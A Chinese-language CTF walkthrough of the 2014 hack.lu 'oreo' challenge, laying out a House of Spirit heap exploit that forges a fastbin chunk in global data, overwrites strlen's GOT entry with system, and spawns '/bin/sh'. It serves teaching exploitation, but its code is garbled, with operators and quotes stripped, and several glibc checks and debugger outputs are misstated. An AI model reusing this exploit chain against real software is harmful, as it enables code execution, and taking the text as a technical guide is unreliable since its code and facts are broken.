从2014 hack.lu oreo靶场实战手把手教你绕过House Of Spirit的5个关键检查点在二进制安全领域House Of SpiritHOS是一种经典的堆利用技术它通过伪造堆块并诱使内存管理器将其释放从而实现对程序控制流的劫持。然而真正掌握这项技术需要跨越多个关键检查点的障碍。本文将以2014年hack.lu CTF中的oreo题目为例带你一步步拆解HOS攻击链中的每个环节。1. 靶场环境与初步分析首先我们需要搭建一个与当年比赛一致的环境。oreo是一个32位的ELF程序运行在Ubuntu 14.04系统上。使用以下命令获取并运行题目wget https://ctf.hack.lu/2014/oreo chmod x oreo checksec --fileoreo程序的基本保护情况如下保护机制状态NX启用ASLR启用Stack Canary未启用RELROPartial通过逆向分析我们发现程序主要功能包括添加枪支信息malloc显示枪支列表读取订单处理free退出程序关键漏洞出现在订单处理函数中存在Use-After-FreeUAF问题。当用户下单后程序会释放对应的枪支结构体但未将指针置空导致后续仍可操作已释放的内存。2. 漏洞挖掘与利用规划oreo程序中的枪支结构体定义如下struct gun { char name[16]; char description[32]; int price; };通过动态调试我们发现以下关键点添加枪支时name字段存在16字节的堆溢出订单处理后的UAF允许我们修改已释放的chunk全局变量存储了枪支列表指针可用于伪造chunk利用思路分为三个阶段阶段一通过堆溢出修改相邻chunk的size字段阶段二利用UAF构造伪造的fastbin chunk阶段三触发House Of Spirit实现GOT覆写3. 绕过House Of Spirit的5个关键检查要使HOS攻击成功必须满足glibc malloc的5个关键检查条件。下面我们逐一分析如何绕过这些检查。3.1 检查点一size字段对齐验证伪造的chunk size必须满足对齐要求32位系统为8字节对齐。在oreo中我们选择构造一个0x40大小的fastbin chunkfake_size 0x41 # 包含PREV_INUSE标志位注意size字段的最低三位用作标志位实际大小需要按8字节对齐计算。3.2 检查点二next chunk的size验证伪造chunk的下一个chunk通过当前size计算得出必须位于可写内存区域且其size字段也要满足基本要求。我们选择将伪造chunk放在全局变量区域fake_chunk elf.sym[guns] - 0x8 # 调整到合适的偏移 next_chunk fake_chunk 0x40通过调试器验证next_chunk地址是否可写gdb-peda$ vmmap 0x0804a000 0x0804b000 rw-p /home/user/oreo3.3 检查点三fastbin链表一致性检查当释放一个chunk到fastbin时malloc会检查该chunk是否与fastbin中原有的chunk大小相同。我们需要确保提前释放一个真实的大小为0x40的chunk伪造chunk的size字段也设置为0x40操作步骤# 先分配并释放一个真实chunk add_gun(real, desc, 100) order(0) # 释放到fastbin # 然后伪造相同大小的chunk forge_fake_chunk(fake_chunk, fake_size)3.4 检查点四double free检测虽然HOS不直接涉及double free但类似的机制会检查新释放的chunk是否与fastbin中的第一个chunk相同。我们通过以下方式绕过确保伪造chunk的地址与已释放chunk不同在释放伪造chunk前先分配掉fastbin中的原有chunkadd_gun(dummy, desc, 200) # 取出fastbin中的chunk order_fake(fake_chunk) # 现在可以安全释放伪造chunk3.5 检查点五内存可写性验证伪造的chunk必须位于可写内存区域。在oreo中我们选择程序的.data段readelf -S oreo | grep .data [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [16] .data PROGBITS 0804a040 001040 000024 00 WA 0 0 32通过调试器验证伪造chunk地址是否在.data段范围内gdb-peda$ p/x 0x0804a040 fake_chunk 0x0804a0400x244. 完整攻击链构造现在我们将所有环节串联起来构建完整的攻击流程。4.1 堆布局与内存准备首先需要精心布置堆内存状态# 填充fastbin for i in range(4): add_gun(ffiller{i}, desc, 100) order(i) # 创建目标chunk add_gun(target, A*16 p32(0x41), 200) # 通过溢出修改下一个chunk的size4.2 伪造chunk结构利用全局变量guns数组伪造fastbin chunk# 计算伪造chunk的位置 fake_chunk elf.sym[guns] - 0x8 # 构造伪造的chunk数据 payload p32(0) p32(0x41) # prev_size和size payload p32(elf.got[strlen]) # 将fd指针指向GOT表项 write_to_global(payload)4.3 触发House Of Spirit通过订单功能释放伪造的chunk# 先取出fastbin中的真实chunk add_gun(dummy, desc, 300) # 现在释放伪造chunk order_fake(fake_chunk)4.4 实现GOT覆写当程序再次分配0x40大小的chunk时会从fastbin中取出我们伪造的chunk# 分配chunk会得到伪造的chunk add_gun(payload, p32(elf.sym[system]), 400) # 触发strlen调用现在实际调用system add_gun(/bin/sh, desc, 500) # 参数将被传递给strlen5. 实战调试技巧与问题排查在实际操作中可能会遇到各种问题。以下是几个关键调试技巧查看fastbin状态gdb-peda$ heap bins fast Fastbins[idx3, size0x40] → FakeChunk(fastbin) → Chunk(addr0x804a028, size0x40)验证chunk metadatagdb-peda$ x/4wx 0x804a020 0x804a020: 0x00000000 0x00000041 0x0804a028 0x00000000常见问题解决如果遇到malloc(): memory corruption错误检查size字段是否满足对齐要求如果程序崩溃在free调用验证伪造chunk的next chunk是否合法使用malloc_printerr断点捕捉堆相关错误gdb-peda$ b __malloc_printerr